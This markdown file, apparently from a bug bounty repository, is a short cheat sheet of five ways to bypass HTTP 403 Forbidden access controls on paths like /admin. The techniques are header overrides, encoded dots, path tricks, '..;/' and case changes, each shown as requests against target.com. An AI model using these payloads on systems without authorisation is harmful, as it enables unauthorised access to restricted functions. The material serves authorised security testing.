AllAboutBugBounty/Bypass403.md
Muhammad Daffa 4a3d3210b8
Bypass 403 [3]
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2020-09-17 22:55:57 +07:00

860 B

403 Forbidden Bypass

  1. Using "X-Original-URL" header
GET /admin HTTP/1.1
Host: target.com

Try this to bypass

GET /anything HTTP/1.1
Host: target.com
X-Original-URL: /admin
  1. Appending %2e after the first slash
http://target.com/admin => 403

Try this to bypass

http://target.com/%2e/admin => 200
  1. Try add dot (.) and slash (/) in the URL
http://target.com/admin => 403

Try this to bypass

http://target.com/admin/. => 200
http://target.com//admin// => 200
http://target.com/./admin/./ => 200
  1. Add "..;/" after the directory name
http://target.com/admin

Try this to bypass

http://target.com/admin..;/
  1. Try to uppercase the alphabet in the url
http://target.com/admin

Try this to bypass

http://target.com/aDmIN

Source: @iam_j0ker